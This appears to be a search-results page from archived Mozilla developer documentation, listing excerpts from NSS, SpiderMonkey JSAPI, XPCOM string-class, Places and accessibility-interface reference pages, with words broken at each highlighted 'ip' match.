ips is enabled. 3.11 ssldebug integer debug level note: the code must be built with debug defined to use this functionality. before 3.0 ssldebugfile string (file name) file where debug or trace information is written. if not set, the debug or trace information is written to stderr. note: ssldebug or ssltrace have to be set to use this functionality...
...And 3 more matches
OLD SSL Reference
secitem_freeitem secitem_zfreeitem chapter 4 ssl functions this chapter describes the core ssl functions. ...
... secitem_zfreeitem chapter 4 ssl functions this chapter describes the core ssl functions. ...
...sessionidcache initializing multi-processing with a shared ssl server cache ssl_configmpserversidcache ssl_inheritmpserversidcache ssl export policy functions nss_setdomesticpolicy nss_setexportpolicy nss_setfrancepolicy ssl_c
ipherpolicyset ssl_c
ipherpolicyget ssl configuration functions ssl configuration ssl_importfd ssl_optionset ssl_optionget ssl_c
ipherprefset ssl_c
ipherprefget ssl_configsecureserve...
...And 3 more matches
gtstd.html
d in the current nss reference getting started with ssl chapter 2 getting started with ssl this chapter describes how to set up your environment, including certificate and key databases. ssl, pkcs #11, and the default security databases setting up the certificate and key databases building nss programs ssl, pkcs #11, and the default security databases the basic relationsh
ips among the nss libraries are described in introduction to network security services. before running the sample programs, it's important to understand the relationsh
ips between the ssl interface, the pkcs #11 interface, pkcs #11 modules, and the default netscape security databases. a pkcs #11 module (also called a cryptographic module) manages cryptographic services such as encryption and decrypt...
...via the pkcs #11 interface. pkcs #11 modules can be thought of as drivers for cryptographic devices that can be implemented in either hardware or software. netscape provides a built-in pkcs #11 module with nss. other kinds of pkcs #11 modules include the netscape fortezza module, used by the government, and the litronic pkcs #11 module for smart card readers. ...
...any pkcs #11 module that supports pkcs #11 can be used with the nss libraries. ...
...And 3 more matches
ssltyp.html
security services. as long as you use the form shown here, your code will not need revision. certcertdbhandle an opaque handle structure for open certificate databases. syntax #include <certt.h> typedef struct certcertdbhandlestr certcertdbhandle; certcertificate an opaque x.509 certificate object. syntax #include <certt.h> typedef struct certcertificatestr certcertificate; descr
iption certificate structures are shared objects. when an application makes a copy of a particular certificate structure that already exists in memory, ssl makes a shallow copy--that is, it increments the reference count for that object rather than making a whole new copy. when you call cert_destroycertificate, the function decrements the reference count and, if the reference count reaches zero as...
...icular certificate structure that already exists in memory, ssl makes a shallow copy--that is, it increments the reference count for that object rather than making a whole new copy. when you call cert_destroycertificate, the function decrements the reference count and, if the reference count reaches zero as a result, frees the memory. the use of the word "destroy" in function names or in the descr
iption of a function often implies reference counting. never alter the contents of a certificate structure. if you attempt to do so, the change affects all the shallow copies of that structure and can cause severe problems. pk11slotinfo an opaque structure representing a physical or logical pkcs #11 slot. syntax #include <pk11expt.h> typedef struct pk11slotinfostr pk11slotinfo; secitem ...
...t structure and can cause severe problems. pk11slotinfo an opaque structure representing a physical or logical pkcs #11 slot. syntax #include <pk11expt.h> typedef struct pk11slotinfostr pk11slotinfo; secitem a structure that points to other structures. syntax #include <seccomon.h> #include <prtypes.h> #include <secport.h> typedef enum { sibuffer, sicleardatabuffer, sic
ipherdatabuffer, sidercertbuffer, siencodedcertbuffer, sidernamebuffer, siencodednamebuffer, siasciinamestring, siasciistring, sideroid } secitemtype; typedef struct secitemstr secitem; struct secitemstr { secitemtype type; unsigned char *data; unsigned int len; }; descr
iption a secitem structure can be used to associate your own data with an ssl socket. ...
...And 3 more matches
NSS_3.12.3_release_notes.html
lable on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_3_rtm/src/. binary distributions: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_3_rtm/. both debug and optimized builds are provided. go to the subdirectory for your platform, dbg (debug) or opt (optimized), to get the tar.gz or z
ip file. the tar.gz or z
ip file expands to an nss-3.12.3 directory containing three subdirectories: include - nss header files lib - nss shared libraries bin - nss tools and test programs you also need to download the nspr 4.7.4 binary distributions to get the nspr 4.7.4 header files and shared libraries, which nss 3.12.3 requires. nspr 4.7.4 binary distributions are ...
...es in the old behaviors, and to correct some errors that had limited nss's ability to interoperate with cryptographic hardware and software from other sources. most of these changes should cause no problems for nss users, but in some cases, some customers' software, hardware and/or certificates may be dependent on the old behaviors, and may have difficulty with the new behaviors. in antic
ipation of that, the nss team has provided ways to easily cause nss to revert to its previous behavior through the use of environment variables. here is a table of the new environment variables introduced in nss 3.12.3 and information about how they affect these new behaviors. the information in this table is excerpted from https://developer.mozilla.org/en/nss_reference/nss_environment_...
...rough the use of environment variables. here is a table of the new environment variables introduced in nss 3.12.3 and information about how they affect these new behaviors. the information in this table is excerpted from https://developer.mozilla.org/en/nss_reference/nss_environment_variables environment variable value type descr
iption nsrandcount integer (byte count) sets the maximum number of bytes to read from the file named in the environment variable nsrandfile (see below). makes nsrandfile usable with /dev/urandom. nss_allow_weak_signature_alg boolean (any non-empty value to enable) enables the use o...
...And 3 more matches
GC Rooting Guide
moving gc, it is very important that it knows about each and every pointer to a gc thing in the system. spidermonkey's rooting api tries to make this task as simple as possible. what is a gc thing pointer? "gc thing" is the term used to refer to memory allocated and managed by the spidermonkey garbage collector. the main types of gc thing pointer are: js::value jsobject* jsstring* jsscr
ipt* jsid note that js::value and jsid can contain pointers internally even though they are not a normal pointer type, hence their inclusion in this list. if you use these types directly, or create classes, structs or arrays that contain them, you must follow the rules set out in this guide. if you do not your program will not work correctly - if it works at all. gc things on the stack js::ro...
...ue. there are typedefs available for the main types. ...
...s available for the main types. ...
...And 3 more matches
JS::CompileFunction
this article covers features introduced in spidermonkey 17 create a javascr
ipt function from a text string. syntax bool js::compilefunction(jscontext *cx, js::autoobjectvector &scopechain, const js::readonlycompileoptions &options, const char *name, unsigned nargs, const char *const *argnames, const char16_t *chars, size_t length, js::mutablehandlefunction fun); bool js::compilefunction(jscontext *cx, js::autoobjectvector &scopechain, const js::readonlycompileoptions &options, const char *name, unsigned nargs, const char *const *argnames, js::sourcebufferholder &srcbuf, js::mutablehandlefunction fun); bool js::compilefunction(jscontext *cx, js::autoobjectvecto...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. scopechain js::autoobjectvector & the scope in which to compile the function. options js::readonlycompileoptions & compile options. name const char * name to assign the ne...
... *const * names to assign to the arguments passed to the function. chars const char16_t * string containing the body of the function to compile. bytes const char * string containing the body of the function to compile. length size_t the length, in characters, of body. srcbuf js::sourcebufferholder & source buffer containing the scr
ipt function compile. fun js::mutablehandlefunction out parameter. on success, fun receives the result function. descr
iption js::compilefunction compiles a function from a text string chars, bytes, or srcbuf. name is the name to assign to the newly created function. nargs is the number of arguments the function takes, and argnames is a pointer to the first element of an array...
...And 3 more matches
JS::CompileOffThread
this article covers features introduced in spidermonkey 31 compile a scr
ipt off thread for execution. syntax bool js::cancompileoffthread(jscontext *cx, const js::readonlycompileoptions &options, size_t length); bool js::compileoffthread(jscontext *cx, const js::readonlycompileoptions &options, const char16_t *chars, size_t length, js::offthreadcompilecallback callback, void *callbackdata); jsscr
ipt * js::finishoffthreadscr
ipt(jscontext *maybecx, jsruntime *rt, void *token); typedef void (*js::offthreadcompilecallback)(void *token, void *callbackdata); name type descr
iption cx / maybe jscontext * pointer to a js context from which to derive runtime information. requires request. i...
...scr
iption cx / maybe jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. rt jsruntime * pointer to a js runtime. options js::readonlycompileoptions & compile options. chars const char16_t * string containing the scr
ipt to compile. length size_t the length of chars or bytes, in characters. callback js::offthreadcompilecallback a callback function invoked when the compilation. callbackdata / token void * pointer to application-defined data. descr
iption js::compileoffthread compiles a scr
ipt, chars for execution. the scr
ipt is associated with a js object. char...
... length of chars or bytes, in characters. callback js::offthreadcompilecallback a callback function invoked when the compilation. callbackdata / token void * pointer to application-defined data. descr
iption js::compileoffthread compiles a scr
ipt, chars for execution. the scr
ipt is associated with a js object. chars is the string containing the text of the scr
ipt. length indicates the size of the text version of the scr
ipt in characters. ...
...And 3 more matches
JS::PersistentRooted
ermonkey 31 a copyable, assignable global gc root type with arbitrary lifetime, an infallible constructor, and automatic unrooting on destruction. ...
...ial); name type descr
iption cx jscontext * the context to get the runtime in which to add the root rt jsruntime * the runtime in which to add the root. initial t an initial value for the persistent rooted variable. methods here, ptr represents the private member of js::persistentrooted<t>, typed with t. method descr
iption void init(jscontext* cx) initialize with optional initial value (if not provided, it will be initialized with the initial value of the type). added in spidermonkey 38 void init(jscontext* cx, t initial) void init(jsruntime* rt) void init(jsruntime* rt, t initial) void reset() reset the value to initial value of the type. added in spidermonkey...
... const t& operator->() const t* address() returns a pointer to ptr. const t* address() const persistentrooted<t>& operator=(const t& p) sets the value of ptr. persistentrooted<t>& operator=(const persistentrooted<t>& other) bool operator!=(const t& other) const compares ptr and other. bool operator==(const t& other) const descr
iption js::persistentrooted<t> declares a variable of type t whose value is always rooted. this is typically used for global variables. js::persistentrooted<t> is a copyable, assignable global gc root type with arbitrary lifetime, an infallible constructor, and automatic unrooting on destruction. these roots can be used in heap-allocated data structures, so they are not associated with any partic...
...And 3 more matches
JSAutoByteString
this article covers features introduced in spidermonkey 17 take ownersh
ip of a string and free it later. syntax jsautobytestring str; jsautobytestring(jscontext *cx, jsstring *str); name type descr
iption cx jscontext * the context in which to add the root. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. str jsstring * a pointer to jsstring to get initial content by calling js_encodestring(cx, str). methods method descr
iption void initbytes(char *bytes) take ownersh
ip of the given byte array. char *encodelatin1(jscontext *cx, jsstring *str) call js_encodestring and take ownersh
ip of the returned string, and return the string. char *enc...
... void clear() free the owned string. ...
... void clear() free the owned string. ...
...And 3 more matches
JSPropertyOp
are called during object property accesses. syntax typedef bool (* jspropertyop)(jscontext *cx, js::handleobject obj, js::handleid id, js::mutablehandlevalue vp); typedef bool (* jsstrictpropertyop)(jscontext *cx, js::handleobject obj, js::handleid id, bool strict, js::mutablehandlevalue vp); // added in spidermonkey 1.9.3 name type descr
iption cx jscontext * the context in which the property access is taking place. provides request. in js_threadsafe builds, the javascr
ipt engine calls this callback only from within an active request on cx. the callback does not need to call js_beginrequest()). obj js::handleobject the object whose properties are being accessed. id js::handlei...
...ty being accessed. this is either a string (unicode property identifier) or an integer (element index). strict bool (jsstrictpropertyop only) if strict is true, treating the assignment as strict mode code. vp js::mutablehandlevalue in/out parameter. points to a js::value variable. the meaning of this variable is different for each of the hooks; see below. descr
iption jspropertyop and jsstrictpropertyop callbacks are hooks that applications may install to be called at some point during property access. a jspropertyop may be installed on an individual property as a getter or setter; or it may be installed on a jsclass to hook property gets, sets, or adds. these different cases are described in more detail in the sections below. if a jspropertyop or jsstri...
...ion then fails, and the error is propagated to the caller. otherwise the callback must return true, and the property operation proceeds. getters and setters when a jsapi application creates a property on an object (for example, using js_defineproperty or js_defineproperties) it can specify getter and setter callbacks for the new property. getters. the getter callback is called each time javascr
ipt code accesses the property's value using the syntax obj.prop or obj[propname]. it is also called when the property's value is accessed via jsapi functions such as js_getproperty or (less obviously) js_callfunctionname. on entry, *vp contains the property's stored value or undefined if the property doesn't have a stored value. the callback may modify *vp. on success, the callback returns true and...
...And 3 more matches
JS_GetParent
obsolete since jsapi 39this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. get the parent object of a given object. syntax jsobject * js_getparent(jsobject *obj); name type descr
iption obj jsobject * object for which to retrieve the parent. descr
iption js_getparent retrieves the parent object of obj, or null if obj does not have a parent. warning: the result may be an internal-use-only object. such an object should not be passed to any other jsapi function that could expose it to scr
ipt code. each object is assigned a parent when it is created: the standard library objects and functions all have the global object as their parent. ...
...bject. such an object should not be passed to any other jsapi function that could expose it to scr
ipt code. each object is assigned a parent when it is created: the standard library objects and functions all have the global object as their parent. objects created by standard library functions, such as array.prototype.concat, have the global object as their parent. an object created by a scr
ipt via the new keyword has the same parent as the constructor. for example, after d = new date, d has the same parent as date, ordinarily the global object. an object created by a scr
ipt via implicit conversion (the ecmascr
ipt toobject operator), an object initializer ({a: 1, b: 2}), or an array initializer ([1, 2, 3]), has the global object as its parent. the parent of a function created by eva...
... if there is no enclosing function, with statement, or block scope, then the function's parent is the global object. otherwise, the parent is implementation-defined. ...
...And 3 more matches
JS_SetGCCallback
specify a new callback function for the garbage collector. syntax void js_setgccallback(jsruntime *rt, jsgccallback cb, void *data); jsgccallback js_setgccallback(jscontext *cx, jsgccallback cb); // obsolete since jsapi 13 jsgccallback js_setgccallbackrt(jsruntime *rt, jsgccallback cb); // obsolete since jsapi 13 name type descr
iption cx jscontext * (for the old js_setgccallback) any jscontext. the gc callback of the associated jsruntime is set. rt jsruntime * the jsruntime for which to set the gc callback. cb jsgccallback pointer to the new callback function to use. callback syntax typedef enum jsgcstatus { jsgc_begin, jsgc_end, jsgc_mark_end, // obsolete since jsapi 13 jsgc_finalize_end //...
... to set the gc callback. cb jsgccallback pointer to the new callback function to use. callback syntax typedef enum jsgcstatus { jsgc_begin, jsgc_end, jsgc_mark_end, // obsolete since jsapi 13 jsgc_finalize_end // obsolete since jsapi 13 } jsgcstatus; typedef void (* jsgccallback)(jsruntime *rt, jsgcstatus status, void *data); name type descr
iption cx jscontext * the context in which garbage collection is happening. status jsgcstatus one of the jsgcstatus constants, described below, indicating the stage of gc. descr
iption js_setgccallback sets a callback function which the garbage collector calls at several points during garbage collection. rt is the runtime in which you specify the callback. cb is a ...
...a second time, and pass the old callback in as the cb argument. during each complete garbage collection cycle, the current gc callback is called four times: jsgc_begin start of gc. the callback may prevent gc from starting by returning false. but even if the callback returns true, the garbage collector may determine that gc is not necessary, in which case the other three callbacks are sk
ipped. jsgc_mark_end obsolete since jsapi 13 end of marking. the callback may use js_isabouttobefinalized to clean up weak references to js objects (that is, pointers that are not traced by the gc). jsgc_finalize_end obsolete since jsapi 13 end of finalization. jsgc_end end of gc. sometimes these four callbacks happen once each, in the order listed. sometimes jsgc_begin happ...
...And 3 more matches
TPS Bookmark Lists
rt forward slashes as part of a folder name. folder contents the contents for a folder are given as an array of objects, representing various bookmark types, described below. bookmark objects valid properties are: uri: the bookmark uri. required. title: the bookmark title. optional. defaults to the bookmark uri. loadinsidebar: true or false. optional. toggles the "load in sidebar" property. descr
iption: the bookmark descr
iption. optional. tags: an array of tags for the bookmark. optional. keyword: the keyword for the bookmark. optional. after: the title of the bookmark item expected to be found after this bookmark; used only in verify and modify actions. before: the title of the bookmark item expected to be found before this bookmark; used only in verify and modify actions. changes: an obje...
...xpected to be found after this bookmark; used only in verify and modify actions. before: the title of the bookmark item expected to be found before this bookmark; used only in verify and modify actions. changes: an object containing new properties to be set for this bookmark when this asset list is used in a modify action. ...
... would be inserted into the bookmark list at the position of the named bookmark, causing that bookmark to be positioned below the current one) example: { livemark: "livemarkone", feeduri: "http://rss.wunderground.com/blog/jeffmasters/rss.xml", siteuri: "http://www.wunderground.com/blog/jeffmasters/show.html" } folder objects valid properties are: folder: the folder's name. required. descr
iption: the folder's descr
iption. optional. after: the title of the bookmark item expected to be found after this folder; used only in verify and modify actions. before: the title of the bookmark item expected to be found before this folder; used only in verify and modify actions. changes: an object containing new properties to be set for this folder when this asset list is used in a modify action. ...
...And 3 more matches
Places Developer Guide
lder - subfolders of this folder are tags, and their children are uris that have been tagged with that folder's name. other bookmarks apis note: this document covers the toolkit places services. however, firefox developers can take advantage of several helper apis that are browser-specific: fuel - a collection of wrapper apis for easing access to a number of firefox utilities and services ns
iplacestransactionsservice - a firefox service for modifying bookmarks in a transactional manner, providing facilities for undo/redo places utilities for javascr
ipt - accessors and helper functions for firefox and extensions creating bookmarks, folders and other items creating a bookmark // create an nsiuri for the url to be bookmarked. var bookmarkuri = cc["@mozilla.org/network/io-service;1"] ...
...d.equals(ci.nsisupports)) { return this; } throw cr.ns_error_no_interface; }, }; // register the observer with the bookmarks service var bmsvc = cc["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(ci.nsinavbookmarksservice); bmsvc.addobserver(observer, false); // un-register the observer when done. bmsvc.removeobserver(observer); html import/export the ns
iplacesimportexportservice service is used for import and export of bookmarks in the netscape bookmarks html format. note that this service is only currently available for firefox, not other toolkit-based applications. importing: importhtmlfromfile (nsilocalfile afile, boolean aisinitialimport) - this imports all the bookmarks in the specified file into the current bookmarks collection. if aisini...
...ved in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11). exporting: exporthtmltofile (nsilocalfile afile) - this exports all bookmarks in the toolbar, menu and unfiled bookmarks folders into the specified file. backup/restore the new bookmarks system uses the json format for storing backups of users' bookmarks. the apis are available via the placesutils api in the utils.js javascr
ipt module. var ci = components.interfaces; var cc = components.classes; var cu = components.utils; // import placesutils cu.import("resource://gre/modules/placesutils.jsm"); cu.import("resource://gre/modules/services.jsm"); // create the backup file var jsonfile = services.dirsvc.get("profd", ci.nsilocalfile); jsonfile.append("bookmarks.json"); jsonfile.create(ci.nsilocalfile.normal_file_type, 06...
...And 3 more matches
Components object
ded for code running with chrome privileges. exposing the object to regular web code was a mistake. if you use this object on your web page, your site might break at any time! in current versions of firefox only a few interfaces required for compatibility are still accessible. don't use components! the components object is the object through which xpconnect functionality is reflected into javascr
ipt. the components object is actually a native instance of the nsixpccomponents interface which is reflected into javascr
ipt as a top level object using xpconnect. some properties of components require advanced privileges and may not work in web pages. the components object has the following members: classes array of classes by contractid classesbyid array of classes by cid con...
...es by interface name interfacesbyid array of interfaces by iid issuccesscode function to determine if a given result code is a success code lastresult result code of most recent xpconnect call manager the global xpcom component manager results array of known result codes by name returncode pending result for current call stack current javascr
ipt call stack utils provides access to several useful features utils.atline provides access to the value of the atline property in the javascr
ipt environment. utils.createobjectin creates a new object in the scope of the specified object's compartment. may only be called from javascr
ipt code. utils.evalinsandbox runs javascr
ipt code...
...to run code with restricted privileges. utils.forcegc forces a garbage collection cycle. utils.getglobalforobject returns the global object with which a given object is associated (through its prototype chain at birth, for example). utils.getweakreference gets a weak reference for the object passed in. utils.import loads a javascr
ipt module into the current scr
ipt, without sharing a scope. utils.lookupmethod looks up a native (i.e. declared in the interface) method or property of an xpcom object. serves the same purpose as xpcnativewrapper. utils.makeobjectpropsnormal ensures that all functions come from the specified object's scope, and aren't cross-compartment wrappers. may only be called f...
...And 3 more matches
XPConnect wrappers
for practical advice on dealing with wrappers, see safely accessing content dom from chrome. developers in the know understand that wrappers play a large role in xpconnect, and that we have a lot of them. less informed developers understand that wrappers exist and are somehow important, but they don't know when they should use what wrappers, or if they should be seeing a wrapper. note: wrappers can appear in the console log; for example "[object xraywrapper [object blah]]". ...
...hould be seeing a wrapper. note: wrappers can appear in the console log; for example "[object xraywrapper [object blah]]". because these are wrapped, you won't be able to peek down inside them from the console. basic xpconnect objects xpcwrappednative these objects are created when any natively implemented xpcom object (that is, any object implemented in c++) needs to be reflected into javascr
ipt. this includes all dom objects (including window) and chrome elements that are reflected into javascr
ipt. this wrapper is responsible for mapping calls from javascr
ipt into c++. this means that when you say window.focus(), you're calling into xpcwrappednative code. if you call 'tostring()' and get "[xpconnect wrapped nsifoo]" then the reference is to a xpcwrappednative object with interface ns...
...nd get "[xpconnect wrapped nsifoo]" then the reference is to a xpcwrappednative object with interface nsifoo. they are implicitly created by xpconnect and you should not have to worry about how that happens. there are several types of wrapped natives, but i won't cover those here. xpcwrappedjs these objects are the exact opposite of xpcwrappednative. ...
...And 3 more matches
nsACString_internal
methods constructors void nsacstring_internal(const nscsubstringtuple&) - source this is public to support automatic conversion of tuple to string base type, which helps avoid converting to nstastring. parameters nscsubstringtuple& tuple void nsacstring_internal(char*, pruint32, pruint32) - source parameters char* data pruint32 length pruint3...
...ers char* data nsacstring_internal& operator=(const nsacstring_internal&) - source parameters nsacstring_internal& str nsacstring_internal& operator=(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple adopt void adopt(char*, pruint32) - source parameters char* data pruint32 length replace void replace(pruint32, pruint32, char) - source buffer man
ipulation parameters pruint32 cutstart pruint32 cutlength char c void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cutstart pruint32 cutlength char* data pruint32 length void replace(pruint32, pruint32, const nsacstring_internal&) - source parameters pruint32 cutstart pruint32 cutlength nsacstring_internal& str void replace(pruint32, pruint32, const...
...ceeding the length of the string). @returns the length of the buffer in characters or 0 if unable to satisfy the request due to low-memory conditions. parameters char** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void. ...
...And 3 more matches
nsAString_internal
methods constructors void nsastring_internal(const nssubstringtuple&) - source this is public to support automatic conversion of tuple to string base type, which helps avoid converting to nstastring. parameters nssubstringtuple& tuple void nsastring_internal(prunichar*, pruint32, pruint32) - source parameters prunichar* data pruint32 length p...
...* data nsastring_internal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_internal& operator=(const nssubstringtuple&) - source parameters nssubstringtuple& tuple adopt void adopt(prunichar*, pruint32) - source parameters prunichar* data pruint32 length replace void replace(pruint32, pruint32, prunichar) - source buffer man
ipulation parameters pruint32 cutstart pruint32 cutlength prunichar c void replace(pruint32, pruint32, const prunichar*, pruint32) - source parameters pruint32 cutstart pruint32 cutlength prunichar* data pruint32 length void replace(pruint32, pruint32, const nsastring_internal&) - source parameters pruint32 cutstart pruint32 cutlength nsastring_internal& str void replace(pruint32, pr...
...ng the length of the string). @returns the length of the buffer in characters or 0 if unable to satisfy the request due to low-memory conditions. parameters prunichar** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void. ...
...And 3 more matches
nsDependentCSubstring
methods constructors void nsdependentcsubstring(const nsacstring_internal&, pruint32, pruint32) - source parameters nsacstring_internal& str pruint32 startpos pruint32 length void nsdependentcsubstring(const char*, const char*) - source parameters char* start char* end void nsdependentcsubstring(const n...
...ers char* data nsacstring_internal& operator=(const nsacstring_internal&) - source parameters nsacstring_internal& str nsacstring_internal& operator=(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple adopt void adopt(char*, pruint32) - source parameters char* data pruint32 length replace void replace(pruint32, pruint32, char) - source buffer man
ipulation parameters pruint32 cutstart pruint32 cutlength char c void replace(pruint32, pruint32, const char*, pruint32) - source parameters pruint32 cutstart pruint32 cutlength char* data pruint32 length void replace(pruint32, pruint32, const nsacstring_internal&) - source parameters pruint32 cutstart pruint32 cutlength nsacstring_internal& str void replace(pruint32, pruint32, const...
...ceeding the length of the string). @returns the length of the buffer in characters or 0 if unable to satisfy the request due to low-memory conditions. parameters char** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void. ...
...And 3 more matches
nsDependentSubstring
methods constructors void nsdependentsubstring(const nsastring_internal&, pruint32, pruint32) - source parameters nsastring_internal& str pruint32 startpos pruint32 length void nsdependentsubstring(const prunichar*, const prunichar*) - source parameters prunichar* start prunichar* end void nsdependentsub...
...* data nsastring_internal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_internal& operator=(const nssubstringtuple&) - source parameters nssubstringtuple& tuple adopt void adopt(prunichar*, pruint32) - source parameters prunichar* data pruint32 length replace void replace(pruint32, pruint32, prunichar) - source buffer man
ipulation parameters pruint32 cutstart pruint32 cutlength prunichar c void replace(pruint32, pruint32, const prunichar*, pruint32) - source parameters pruint32 cutstart pruint32 cutlength prunichar* data pruint32 length void replace(pruint32, pruint32, const nsastring_internal&) - source parameters pruint32 cutstart pruint32 cutlength nsastring_internal& str void replace(pruint32, pr...
...ng the length of the string). @returns the length of the buffer in characters or 0 if unable to satisfy the request due to low-memory conditions. parameters prunichar** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void. ...
...And 3 more matches
IAccessibleAction
other-licenses/ia2/accessibleaction.idlnot scr
iptable this interface gives access to actions that can be executed for accessible objects. 1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) every accessible object that can be man
ipulated via the native gui beyond the methods available either in the msaa iaccessible interface or in the set of iaccessible2 interfaces (other than this iaccessibleaction interface) should support the iaccessibleaction interface in order to provide assistive technology access to all the actions that can be performed by the object. each action can be performed or queried for a name, descr
iption or associated key bindings. actions are needed more for ats that assist the mobility impaired, such a...
...lity impaired, such as on-screen keyboards and voice command software. by providing actions directly, the at can present them to the user without the user having to perform the extra steps to navigate a context menu. the first action should be equivalent to the msaa default action. if there is only one action, iaccessibleaction should also be implemented. ...
... voice command software. by providing actions directly, the at can present them to the user without the user having to perform the extra steps to navigate a context menu. the first action should be equivalent to the msaa default action. if there is only one action, iaccessibleaction should also be implemented. ...
...And 3 more matches
IAccessibleEditableText
note that even a read only text object can support the copy capability so this interface is not limited to editable objects. ...
...note that even a read only text object can support the copy capability so this interface is not limited to editable objects. ...
...the valid range is 0..length. return value e_invalidarg if bad [in] p...
...And 3 more matches
IAccessibleImage
other-licenses/ia2/accessibleimage.idlnot scr
iptable this interface represents images and icons. 1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) this interface is used for a representation of images like icons on buttons. iaccessibleimage only needs to be implemented in certain situations. some examples are: the accessible name and descr
iption() are not enough to fully describe the image, for example when the accessible descr
iption() is used to define the behavior of an actionable image and the image itself conveys semantically significant information. the user can edit the content that includes an image and therefore the user needs to be able to review the image's position. method overview [propget] hresult des...
...me and descr
iption() are not enough to fully describe the image, for example when the accessible descr
iption() is used to define the behavior of an actionable image and the image itself conveys semantically significant information. the user can edit the content that includes an image and therefore the user needs to be able to review the image's position. method overview [propget] hresult descr
iption([out] bstr descr
iption ); [propget] hresult imageposition([in] enum ia2coordinatetype coordinatetype, [out] long x, [out] long y ); [propget] hresult imagesize([out] long height, [out] long width ); methods descr
iption() returns the localized descr
iption of the image. ...
... return value s_false if there is nothing to return, [out] value is null. s_ok. imageposition() returns the coordinates of the image. ...
...And 3 more matches
imgIRequest
modules/libpr0n/public/imgirequest.idlscr
iptable please add a summary to this article. inherits from: nsirequest last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview void cancelandforgetobserver(in nsresult astatus); imgirequest clone(in imgidecoderobserver aobserver); void decrementanimationconsumers(); imgirequest getstaticrequest(); void incrementanimationconsumers(); void lockimage(); void requestdecode(); void unlockimage(); attributes attribute type descr
iption corsmode long the cors mode that this image was loaded with. read only. decoderobserver imgidecoderobserver read only. image imgicontainer the image container. read only. ...
...read only. imagestatus unsigned long status flags of the status_* variety. read only. mimetype string read only. ...
...read only. imagestatus unsigned long status flags of the status_* variety. read only. mimetype string read only. ...
...And 3 more matches
nsIAccessibleEvent
may return null if no accessible is available. read only. accessibledocument nsiaccessibledocument the nsiaccessibledocument that the event target nsiaccessible resides in. this can be used to get the dom window, the dom document and the window handler, among other things. ...
...may return null if no accessible is available. read only. accessibledocument nsiaccessibledocument the nsiaccessibledocument that the event target nsiaccessible resides in. this can be used to get the dom window, the dom document and the window handler, among other things. ...
...the event. may return null if accessible for event has been shut down. read only. eventtype unsigned long the type of event, based on the enumerated event values defined in this interface. read only. isfromuserinput boolean returns true if the event was caused by explicit user input, as opposed to purely originating from a timer or mouse movement. constants constant gecko version descr
iption 1.7 - 1.8.1 1.9 - 1.9.2 2.0 event_show 0x8002 0x0001 an object has been created. event_hide 0x8003 0x0002 an object has been destroyed. event_reorder 0x8004 0x005c 0x0003 an object's children have changed. event_active_decendent_changed 0x0007 0x0004 the active descendant of a component has changed. the active descendant is used in objects with transient children. event_focu...
...And 3 more matches
nsIAccessibleStates
state_selected 0x00000002 the object is selected, that is it indicates this object is the child of an object that allows its children to be selected and that this child is one of those children that has been selected. state_focused 0x00000004 the object is focused. ...
... state_selected 0x00000002 the object is selected, that is it indicates this object is the child of an object that allows its children to be selected and that this child is one of those children that has been selected. state_focused 0x00000004 the object is focused. ...
...00020000 the object can be resized. for example, a user could change the size of a window by clicking the border with a mouse and dragging the mouse. state_moveable 0x00040000 the object can be moved. for example, a user can click on the titlebar for the object and drag the object to a new location. state_selfvoicing 0x00080000 the object or child uses text-to-speech (tts) technology for descr
iption purposes. a speech-based accessibility aid does not announce information when an object with this state has the focus because the object automatically announces information. currently unused. state_focusable 0x00100000 the object can be focused. state_selectable 0x00200000 the object can be selected. state_linked 0x00400000 the object is formatted as a hyperlink. the object role will us...
...And 3 more matches
nsIAccessibleText
accessible/public/nsiaccessibletext.idlscr
iptable please add a summary to this article. inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void addselection(in long startoffset, in long endoffset); nsiaccessible getattributerange(in long offset, out long rangestartoffset, out long rangeendoffset); obsolete since gecko 1.9.1 wchar getcharacteratoffset(in long offset); void getcharacterextents(in long offset, out long x, out long y, out long width, out long height, in unsigned long coordtype); long getoffsetatpoint(in long x, in long y, in unsigned long coordtype); void getrangeextents(in long startoffset, in long endoffset, out long x, out long y, out long width, out long height, in unsigned long c...
...electionbounds(in long selectionnum, out long startoffset, out long endoffset); astring gettext(in long startoffset, in long endoffset); astring gettextafteroffset(in long offset, in nsaccessibletextboundary boundarytype, out long startoffset, out long endoffset); astring gettextatoffset(in long offset, in nsaccessibletextboundary boundarytype, out long startoffset, out long endoffset); ns
ipersistentproperties gettextattributes(in boolean includedefattrs, in long offset, out long rangestartoffset, out long rangeendoffset); astring gettextbeforeoffset(in long offset, in nsaccessibletextboundary boundarytype, out long startoffset, out long endoffset); void removeselection(in long selectionnum); void scrollsubstringto(in long startindex, in long endindex, in unsigned long scrollt...
...offset); void removeselection(in long selectionnum); void scrollsubstringto(in long startindex, in long endindex, in unsigned long scrolltype); void scrollsubstringtopoint(in long startindex, in long endindex, in unsigned long coordinatetype, in long x, in long y); void setselectionbounds(in long selectionnum, in long startoffset, in long endoffset); attributes attribute type descr
iption caretoffset long the current current caret offset. if set < 0 then caret will be placed at the end of the text. charactercount long read only. defaulttextattributes ns
